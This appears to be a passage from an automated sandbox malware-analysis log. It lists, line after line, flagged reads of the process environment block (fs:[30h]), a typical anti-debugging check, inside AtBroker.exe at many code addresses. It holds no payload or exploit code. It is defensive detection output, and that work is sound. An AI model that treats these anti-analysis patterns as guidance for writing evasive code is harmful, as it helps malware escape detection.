Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045225E0 mov eax, dword ptr fs:[00000030h] 11_2_045225E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E5E7 mov eax, dword ptr fs:[00000030h] 11_2_0454E5E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C5ED mov eax, dword ptr fs:[00000030h] 11_2_0455C5ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C5ED mov eax, dword ptr fs:[00000030h] 11_2_0455C5ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E59C mov eax, dword ptr fs:[00000030h] 11_2_0455E59C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04522582 mov eax, dword ptr fs:[00000030h] 11_2_04522582
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04522582 mov ecx, dword ptr fs:[00000030h] 11_2_04522582
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04554588 mov eax, dword ptr fs:[00000030h] 11_2_04554588
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045445B1 mov eax, dword ptr fs:[00000030h] 11_2_045445B1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045445B1 mov eax, dword ptr fs:[00000030h] 11_2_045445B1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A05A7 mov eax, dword ptr fs:[00000030h] 11_2_045A05A7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A05A7 mov eax, dword ptr fs:[00000030h] 11_2_045A05A7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A05A7 mov eax, dword ptr fs:[00000030h] 11_2_045A05A7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453C640 mov eax, dword ptr fs:[00000030h] 11_2_0453C640
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04552674 mov eax, dword ptr fs:[00000030h] 11_2_04552674
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E866E mov eax, dword ptr fs:[00000030h] 11_2_045E866E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E866E mov eax, dword ptr fs:[00000030h] 11_2_045E866E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A660 mov eax, dword ptr fs:[00000030h] 11_2_0455A660
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A660 mov eax, dword ptr fs:[00000030h] 11_2_0455A660
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562619 mov eax, dword ptr fs:[00000030h] 11_2_04562619
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E609 mov eax, dword ptr fs:[00000030h] 11_2_0459E609
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453260B mov eax, dword ptr fs:[00000030h] 11_2_0453260B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E627 mov eax, dword ptr fs:[00000030h] 11_2_0453E627
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04556620 mov eax, dword ptr fs:[00000030h] 11_2_04556620
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04558620 mov eax, dword ptr fs:[00000030h] 11_2_04558620
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452262C mov eax, dword ptr fs:[00000030h] 11_2_0452262C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A6C7 mov ebx, dword ptr fs:[00000030h] 11_2_0455A6C7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A6C7 mov eax, dword ptr fs:[00000030h] 11_2_0455A6C7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E6F2 mov eax, dword ptr fs:[00000030h] 11_2_0459E6F2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E6F2 mov eax, dword ptr fs:[00000030h] 11_2_0459E6F2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E6F2 mov eax, dword ptr fs:[00000030h] 11_2_0459E6F2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E6F2 mov eax, dword ptr fs:[00000030h] 11_2_0459E6F2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A06F1 mov eax, dword ptr fs:[00000030h] 11_2_045A06F1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A06F1 mov eax, dword ptr fs:[00000030h] 11_2_045A06F1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04524690 mov eax, dword ptr fs:[00000030h] 11_2_04524690
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04524690 mov eax, dword ptr fs:[00000030h] 11_2_04524690
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045566B0 mov eax, dword ptr fs:[00000030h] 11_2_045566B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C6A6 mov eax, dword ptr fs:[00000030h] 11_2_0455C6A6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04520750 mov eax, dword ptr fs:[00000030h] 11_2_04520750
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562750 mov eax, dword ptr fs:[00000030h] 11_2_04562750
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562750 mov eax, dword ptr fs:[00000030h] 11_2_04562750
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045AE75D mov eax, dword ptr fs:[00000030h] 11_2_045AE75D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A4755 mov eax, dword ptr fs:[00000030h] 11_2_045A4755
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455674D mov esi, dword ptr fs:[00000030h] 11_2_0455674D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455674D mov eax, dword ptr fs:[00000030h] 11_2_0455674D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455674D mov eax, dword ptr fs:[00000030h] 11_2_0455674D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04528770 mov eax, dword ptr fs:[00000030h] 11_2_04528770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 mov eax, dword ptr fs:[00000030h] 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04520710 mov eax, dword ptr fs:[00000030h] 11_2_04520710
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04550710 mov eax, dword ptr fs:[00000030h] 11_2_04550710
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C700 mov eax, dword ptr fs:[00000030h] 11_2_0455C700
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455273C mov eax, dword ptr fs:[00000030h] 11_2_0455273C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455273C mov ecx, dword ptr fs:[00000030h] 11_2_0455273C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455273C mov eax, dword ptr fs:[00000030h] 11_2_0455273C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459C730 mov eax, dword ptr fs:[00000030h] 11_2_0459C730
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C720 mov eax, dword ptr fs:[00000030h] 11_2_0455C720
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455C720 mov eax, dword ptr fs:[00000030h] 11_2_0455C720
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452C7C0 mov eax, dword ptr fs:[00000030h] 11_2_0452C7C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A07C3 mov eax, dword ptr fs:[00000030h] 11_2_045A07C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045247FB mov eax, dword ptr fs:[00000030h] 11_2_045247FB
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045247FB mov eax, dword ptr fs:[00000030h] 11_2_045247FB
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045427ED mov eax, dword ptr fs:[00000030h] 11_2_045427ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045427ED mov eax, dword ptr fs:[00000030h] 11_2_045427ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045427ED mov eax, dword ptr fs:[00000030h] 11_2_045427ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045AE7E1 mov eax, dword ptr fs:[00000030h] 11_2_045AE7E1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C678E mov eax, dword ptr fs:[00000030h] 11_2_045C678E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045207AF mov eax, dword ptr fs:[00000030h] 11_2_045207AF
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04522050 mov eax, dword ptr fs:[00000030h] 11_2_04522050
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6050 mov eax, dword ptr fs:[00000030h] 11_2_045A6050
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454C073 mov eax, dword ptr fs:[00000030h] 11_2_0454C073
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E016 mov eax, dword ptr fs:[00000030h] 11_2_0453E016
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E016 mov eax, dword ptr fs:[00000030h] 11_2_0453E016
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E016 mov eax, dword ptr fs:[00000030h] 11_2_0453E016
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E016 mov eax, dword ptr fs:[00000030h] 11_2_0453E016
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A4000 mov ecx, dword ptr fs:[00000030h] 11_2_045A4000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 mov eax, dword ptr fs:[00000030h] 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B6030 mov eax, dword ptr fs:[00000030h] 11_2_045B6030
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A020 mov eax, dword ptr fs:[00000030h] 11_2_0451A020
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451C020 mov eax, dword ptr fs:[00000030h] 11_2_0451C020
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A20DE mov eax, dword ptr fs:[00000030h] 11_2_045A20DE
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451C0F0 mov eax, dword ptr fs:[00000030h] 11_2_0451C0F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045620F0 mov ecx, dword ptr fs:[00000030h] 11_2_045620F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A0E3 mov ecx, dword ptr fs:[00000030h] 11_2_0451A0E3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A60E0 mov eax, dword ptr fs:[00000030h] 11_2_045A60E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045280E9 mov eax, dword ptr fs:[00000030h] 11_2_045280E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452208A mov eax, dword ptr fs:[00000030h] 11_2_0452208A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E60B8 mov eax, dword ptr fs:[00000030h] 11_2_045E60B8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E60B8 mov ecx, dword ptr fs:[00000030h] 11_2_045E60B8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B80A8 mov eax, dword ptr fs:[00000030h] 11_2_045B80A8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B8158 mov eax, dword ptr fs:[00000030h] 11_2_045B8158
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526154 mov eax, dword ptr fs:[00000030h] 11_2_04526154
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526154 mov eax, dword ptr fs:[00000030h] 11_2_04526154
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451C156 mov eax, dword ptr fs:[00000030h] 11_2_0451C156
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B4144 mov eax, dword ptr fs:[00000030h] 11_2_045B4144
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B4144 mov eax, dword ptr fs:[00000030h] 11_2_045B4144
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B4144 mov ecx, dword ptr fs:[00000030h] 11_2_045B4144
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B4144 mov eax, dword ptr fs:[00000030h] 11_2_045B4144
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B4144 mov eax, dword ptr fs:[00000030h] 11_2_045B4144
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CA118 mov ecx, dword ptr fs:[00000030h] 11_2_045CA118
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CA118 mov eax, dword ptr fs:[00000030h] 11_2_045CA118
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CA118 mov eax, dword ptr fs:[00000030h] 11_2_045CA118
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CA118 mov eax, dword ptr fs:[00000030h] 11_2_045CA118
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E0115 mov eax, dword ptr fs:[00000030h] 11_2_045E0115
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04550124 mov eax, dword ptr fs:[00000030h] 11_2_04550124
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E1D0 mov eax, dword ptr fs:[00000030h] 11_2_0459E1D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E1D0 mov eax, dword ptr fs:[00000030h] 11_2_0459E1D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E1D0 mov ecx, dword ptr fs:[00000030h] 11_2_0459E1D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E1D0 mov eax, dword ptr fs:[00000030h] 11_2_0459E1D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459E1D0 mov eax, dword ptr fs:[00000030h] 11_2_0459E1D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E61C3 mov eax, dword ptr fs:[00000030h] 11_2_045E61C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E61C3 mov eax, dword ptr fs:[00000030h] 11_2_045E61C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045501F8 mov eax, dword ptr fs:[00000030h] 11_2_045501F8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F61E5 mov eax, dword ptr fs:[00000030h] 11_2_045F61E5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A019F mov eax, dword ptr fs:[00000030h] 11_2_045A019F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A019F mov eax, dword ptr fs:[00000030h] 11_2_045A019F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A019F mov eax, dword ptr fs:[00000030h] 11_2_045A019F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A019F mov eax, dword ptr fs:[00000030h] 11_2_045A019F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A197 mov eax, dword ptr fs:[00000030h] 11_2_0451A197
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A197 mov eax, dword ptr fs:[00000030h] 11_2_0451A197
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A197 mov eax, dword ptr fs:[00000030h] 11_2_0451A197
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04560185 mov eax, dword ptr fs:[00000030h] 11_2_04560185
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DC188 mov eax, dword ptr fs:[00000030h] 11_2_045DC188
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DC188 mov eax, dword ptr fs:[00000030h] 11_2_045DC188
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4180 mov eax, dword ptr fs:[00000030h] 11_2_045C4180
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C4180 mov eax, dword ptr fs:[00000030h] 11_2_045C4180
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451A250 mov eax, dword ptr fs:[00000030h] 11_2_0451A250
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04526259 mov eax, dword ptr fs:[00000030h] 11_2_04526259
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A8243 mov eax, dword ptr fs:[00000030h] 11_2_045A8243
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A8243 mov ecx, dword ptr fs:[00000030h] 11_2_045A8243
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 mov eax, dword ptr fs:[00000030h] 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04524260 mov eax, dword ptr fs:[00000030h] 11_2_04524260
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04524260 mov eax, dword ptr fs:[00000030h] 11_2_04524260
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04524260 mov eax, dword ptr fs:[00000030h] 11_2_04524260
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451826B mov eax, dword ptr fs:[00000030h] 11_2_0451826B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451823B mov eax, dword ptr fs:[00000030h] 11_2_0451823B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A2C3 mov eax, dword ptr fs:[00000030h] 11_2_0452A2C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A2C3 mov eax, dword ptr fs:[00000030h] 11_2_0452A2C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A2C3 mov eax, dword ptr fs:[00000030h] 11_2_0452A2C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A2C3 mov eax, dword ptr fs:[00000030h] 11_2_0452A2C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452A2C3 mov eax, dword ptr fs:[00000030h] 11_2_0452A2C3
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045302E1 mov eax, dword ptr fs:[00000030h] 11_2_045302E1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045302E1 mov eax, dword ptr fs:[00000030h] 11_2_045302E1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045302E1 mov eax, dword ptr fs:[00000030h] 11_2_045302E1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E284 mov eax, dword ptr fs:[00000030h] 11_2_0455E284
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E284 mov eax, dword ptr fs:[00000030h] 11_2_0455E284
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A0283 mov eax, dword ptr fs:[00000030h] 11_2_045A0283
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A0283 mov eax, dword ptr fs:[00000030h] 11_2_045A0283
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A0283 mov eax, dword ptr fs:[00000030h] 11_2_045A0283
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045302A0 mov eax, dword ptr fs:[00000030h] 11_2_045302A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045302A0 mov eax, dword ptr fs:[00000030h] 11_2_045302A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov eax, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov ecx, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov eax, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov eax, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov eax, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B62A0 mov eax, dword ptr fs:[00000030h] 11_2_045B62A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov eax, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov eax, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov eax, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov ecx, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov eax, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A035C mov eax, dword ptr fs:[00000030h] 11_2_045A035C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EA352 mov eax, dword ptr fs:[00000030h] 11_2_045EA352
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C8350 mov ecx, dword ptr fs:[00000030h] 11_2_045C8350
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A2349 mov eax, dword ptr fs:[00000030h] 11_2_045A2349
